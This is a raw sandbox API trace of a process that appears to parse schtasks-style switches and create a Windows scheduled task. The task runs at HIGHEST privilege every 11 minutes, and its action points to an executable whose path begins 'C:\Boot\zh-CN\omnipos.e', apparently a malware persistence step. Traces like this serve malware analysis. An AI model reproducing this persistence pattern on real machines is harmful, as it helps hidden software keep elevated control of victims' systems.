0 [0091.709] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ru|") returned 4 [0091.709] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.709] lstrlenW (lpString="|ru|") returned 4 [0091.709] lstrlenW (lpString="|f|") returned 3 [0091.709] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0091.709] SetLastError (dwErrCode=0x490) [0091.709] lstrlenW (lpString="rp") returned 2 [0091.709] lstrlenW (lpString="rp") returned 2 [0091.709] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.709] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.709] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rp|") returned 4 [0091.709] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.710] lstrlenW (lpString="|rp|") returned 4 [0091.710] lstrlenW (lpString="|f|") returned 3 [0091.710] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0091.710] SetLastError (dwErrCode=0x490) [0091.710] lstrlenW (lpString="sc") returned 2 [0091.710] lstrlenW (lpString="sc") returned 2 [0091.710] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.710] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.710] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.710] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.710] lstrlenW (lpString="|sc|") returned 4 [0091.710] lstrlenW (lpString="|f|") returned 3 [0091.710] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0091.710] SetLastError (dwErrCode=0x490) [0091.710] lstrlenW (lpString="mo") returned 2 [0091.710] lstrlenW (lpString="mo") returned 2 [0091.710] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.710] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.710] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.710] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.710] lstrlenW (lpString="|mo|") returned 4 [0091.710] lstrlenW (lpString="|f|") returned 3 [0091.710] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0091.710] SetLastError (dwErrCode=0x490) [0091.710] lstrlenW (lpString="d") returned 1 [0091.710] lstrlenW (lpString="d") returned 1 [0091.710] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.710] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.710] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|d|") returned 3 [0091.710] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.710] lstrlenW (lpString="|d|") returned 3 [0091.711] lstrlenW (lpString="|f|") returned 3 [0091.711] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0091.711] SetLastError (dwErrCode=0x490) [0091.711] lstrlenW (lpString="m") returned 1 [0091.711] lstrlenW (lpString="m") returned 1 [0091.711] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.711] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.711] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|m|") returned 3 [0091.711] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.711] lstrlenW (lpString="|m|") returned 3 [0091.711] lstrlenW (lpString="|f|") returned 3 [0091.711] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0091.711] SetLastError (dwErrCode=0x490) [0091.711] lstrlenW (lpString="i") returned 1 [0091.711] lstrlenW (lpString="i") returned 1 [0091.711] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.711] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.711] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|i|") returned 3 [0091.711] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.711] lstrlenW (lpString="|i|") returned 3 [0091.711] lstrlenW (lpString="|f|") returned 3 [0091.711] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0091.711] SetLastError (dwErrCode=0x490) [0091.711] lstrlenW (lpString="tn") returned 2 [0091.711] lstrlenW (lpString="tn") returned 2 [0091.711] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.711] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.711] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.711] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.711] lstrlenW (lpString="|tn|") returned 4 [0091.711] lstrlenW (lpString="|f|") returned 3 [0091.711] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0091.712] SetLastError (dwErrCode=0x490) [0091.712] lstrlenW (lpString="tr") returned 2 [0091.712] lstrlenW (lpString="tr") returned 2 [0091.712] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.712] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.712] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.712] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.712] lstrlenW (lpString="|tr|") returned 4 [0091.712] lstrlenW (lpString="|f|") returned 3 [0091.712] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0091.712] SetLastError (dwErrCode=0x490) [0091.712] lstrlenW (lpString="st") returned 2 [0091.712] lstrlenW (lpString="st") returned 2 [0091.712] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.712] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.712] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|st|") returned 4 [0091.712] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.712] lstrlenW (lpString="|st|") returned 4 [0091.712] lstrlenW (lpString="|f|") returned 3 [0091.712] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0091.712] SetLastError (dwErrCode=0x490) [0091.712] lstrlenW (lpString="sd") returned 2 [0091.712] lstrlenW (lpString="sd") returned 2 [0091.712] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.712] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.712] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sd|") returned 4 [0091.712] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.712] lstrlenW (lpString="|sd|") returned 4 [0091.712] lstrlenW (lpString="|f|") returned 3 [0091.712] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0091.712] SetLastError (dwErrCode=0x490) [0091.712] lstrlenW (lpString="ed") returned 2 [0091.713] lstrlenW (lpString="ed") returned 2 [0091.713] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.713] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.713] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ed|") returned 4 [0091.713] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.713] lstrlenW (lpString="|ed|") returned 4 [0091.713] lstrlenW (lpString="|f|") returned 3 [0091.713] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0091.713] SetLastError (dwErrCode=0x490) [0091.713] lstrlenW (lpString="it") returned 2 [0091.713] lstrlenW (lpString="it") returned 2 [0091.713] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.713] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.713] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|it|") returned 4 [0091.713] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.713] lstrlenW (lpString="|it|") returned 4 [0091.713] lstrlenW (lpString="|f|") returned 3 [0091.713] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0091.713] SetLastError (dwErrCode=0x490) [0091.713] lstrlenW (lpString="et") returned 2 [0091.713] lstrlenW (lpString="et") returned 2 [0091.713] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.713] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.713] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|et|") returned 4 [0091.713] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.713] lstrlenW (lpString="|et|") returned 4 [0091.713] lstrlenW (lpString="|f|") returned 3 [0091.713] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0091.713] SetLastError (dwErrCode=0x490) [0091.713] lstrlenW (lpString="k") returned 1 [0091.713] lstrlenW (lpString="k") returned 1 [0091.713] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.714] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.714] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|k|") returned 3 [0091.714] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.714] lstrlenW (lpString="|k|") returned 3 [0091.714] lstrlenW (lpString="|f|") returned 3 [0091.714] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0091.714] SetLastError (dwErrCode=0x490) [0091.714] lstrlenW (lpString="du") returned 2 [0091.714] lstrlenW (lpString="du") returned 2 [0091.714] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.714] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.714] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|du|") returned 4 [0091.714] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.714] lstrlenW (lpString="|du|") returned 4 [0091.714] lstrlenW (lpString="|f|") returned 3 [0091.714] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0091.714] SetLastError (dwErrCode=0x490) [0091.714] lstrlenW (lpString="ri") returned 2 [0091.714] lstrlenW (lpString="ri") returned 2 [0091.714] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.714] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.714] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ri|") returned 4 [0091.714] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.714] lstrlenW (lpString="|ri|") returned 4 [0091.714] lstrlenW (lpString="|f|") returned 3 [0091.714] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0091.714] SetLastError (dwErrCode=0x490) [0091.714] lstrlenW (lpString="z") returned 1 [0091.714] lstrlenW (lpString="z") returned 1 [0091.714] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.715] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.715] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|z|") returned 3 [0091.715] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.715] lstrlenW (lpString="|z|") returned 3 [0091.715] lstrlenW (lpString="|f|") returned 3 [0091.715] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0091.715] SetLastError (dwErrCode=0x490) [0091.715] lstrlenW (lpString="f") returned 1 [0091.715] lstrlenW (lpString="f") returned 1 [0091.715] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.715] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.715] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.715] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.715] lstrlenW (lpString="|f|") returned 3 [0091.715] lstrlenW (lpString="|f|") returned 3 [0091.715] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0091.715] SetLastError (dwErrCode=0x0) [0091.715] SetLastError (dwErrCode=0x0) [0091.715] GetProcessHeap () returned 0x2d0000 [0091.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece90 [0091.715] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.715] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0091.715] lstrlenW (lpString="LIMITED") returned 7 [0091.715] GetProcessHeap () returned 0x2d0000 [0091.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed680 [0091.715] GetThreadLocale () returned 0x409 [0091.715] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0091.715] GetProcessHeap () returned 0x2d0000 [0091.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece60 [0091.715] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.715] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0091.715] lstrlenW (lpString="HIGHEST") returned 7 [0091.716] GetProcessHeap () returned 0x2d0000 [0091.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed6a0 [0091.716] GetThreadLocale () returned 0x409 [0091.716] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0091.716] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.716] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0091.716] lstrlenW (lpString="MINUTE") returned 6 [0091.716] GetProcessHeap () returned 0x2d0000 [0091.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed6c0 [0091.716] GetThreadLocale () returned 0x409 [0091.716] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0091.716] SetLastError (dwErrCode=0x0) [0091.716] GetProcessHeap () returned 0x2d0000 [0091.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x1fc) returned 0x2ec470 [0091.716] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.716] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0091.716] lstrlenW (lpString="First") returned 5 [0091.716] GetProcessHeap () returned 0x2d0000 [0091.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed6e0 [0091.716] GetProcessHeap () returned 0x2d0000 [0091.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecdd0 [0091.716] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.716] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0091.716] lstrlenW (lpString="Second") returned 6 [0091.716] GetProcessHeap () returned 0x2d0000 [0091.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed700 [0091.716] GetProcessHeap () returned 0x2d0000 [0091.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecda0 [0091.717] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.717] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0091.717] lstrlenW (lpString="Third") returned 5 [0091.717] GetProcessHeap () returned 0x2d0000 [0091.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed720 [0091.717] GetProcessHeap () returned 0x2d0000 [0091.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd70 [0091.717] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.717] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0091.717] lstrlenW (lpString="Fourth") returned 6 [0091.717] GetProcessHeap () returned 0x2d0000 [0091.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed740 [0091.717] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.717] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0091.717] lstrlenW (lpString="Last") returned 4 [0091.717] GetProcessHeap () returned 0x2d0000 [0091.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ed760 [0091.717] lstrlenW (lpString="11") returned 2 [0091.717] _wtol (_String="11") returned 11 [0091.717] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.717] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0091.717] lstrlenW (lpString="First") returned 5 [0091.717] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.717] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0091.717] lstrlenW (lpString="Second") returned 6 [0091.717] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.717] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0091.717] lstrlenW (lpString="Third") returned 5 [0091.717] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.718] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0091.718] lstrlenW (lpString="Fourth") returned 6 [0091.718] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.718] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0091.718] lstrlenW (lpString="Last") returned 4 [0091.718] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc4e0, cchData=128 | out: lpLCData="0") returned 2 [0091.718] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.718] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0091.718] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0091.718] GetProcessHeap () returned 0x2d0000 [0091.718] GetProcessHeap () returned 0x2d0000 [0091.718] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6e0) returned 1 [0091.718] GetProcessHeap () returned 0x2d0000 [0091.718] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6e0) returned 0xc [0091.718] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc500, cchData=128 | out: lpLCData="0") returned 2 [0091.718] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.718] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0091.718] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0091.718] GetProcessHeap () returned 0x2d0000 [0091.718] GetProcessHeap () returned 0x2d0000 [0091.718] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700) returned 1 [0091.718] GetProcessHeap () returned 0x2d0000 [0091.718] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed700) returned 0xe [0091.718] GetLocalTime (in: lpSystemTime=0xfc730 | out: lpSystemTime=0xfc730*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x10, wMilliseconds=0x3a)) [0091.719] lstrlenW (lpString="") returned 0 [0091.719] GetLocalTime (in: lpSystemTime=0xfcfe8 | out: lpSystemTime=0xfcfe8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x10, wMilliseconds=0x3a)) [0091.719] lstrlenW (lpString="") returned 0 [0091.719] lstrlenW (lpString="") returned 0 [0091.719] lstrlenW (lpString="") returned 0 [0091.719] lstrlenW (lpString="") returned 0 [0091.719] lstrlenW (lpString="11") returned 2 [0091.719] _wtol (_String="11") returned 11 [0091.719] lstrlenW (lpString="") returned 0 [0091.719] lstrlenW (lpString="") returned 0 [0091.719] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0091.750] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0091.782] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfcdb0 | out: ppv=0xfcdb0*=0x17dee0) returned 0x0 [0091.794] TaskScheduler:ITaskService:Connect (This=0x17dee0, serverName=0xfce90*(varType=0x8, wReserved1=0xf, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xfce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xfce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0091.829] TaskScheduler:IUnknown:AddRef (This=0x17dee0) returned 0x2 [0091.829] TaskScheduler:ITaskService:GetFolder (in: This=0x17dee0, Path=0x0, ppFolder=0xfcf48 | out: ppFolder=0xfcf48*=0x547d00) returned 0x0 [0091.833] TaskScheduler:ITaskService:NewTask (in: This=0x17dee0, flags=0x0, ppDefinition=0xfcf40 | out: ppDefinition=0xfcf40*=0x547d50) returned 0x0 [0091.834] ITaskDefinition:get_Actions (in: This=0x547d50, ppActions=0xfcec0 | out: ppActions=0xfcec0*=0x547e10) returned 0x0 [0091.834] IActionCollection:Create (in: This=0x547e10, Type=0, ppAction=0xfcee0 | out: ppAction=0xfcee0*=0x546530) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x7a) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0091.834] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 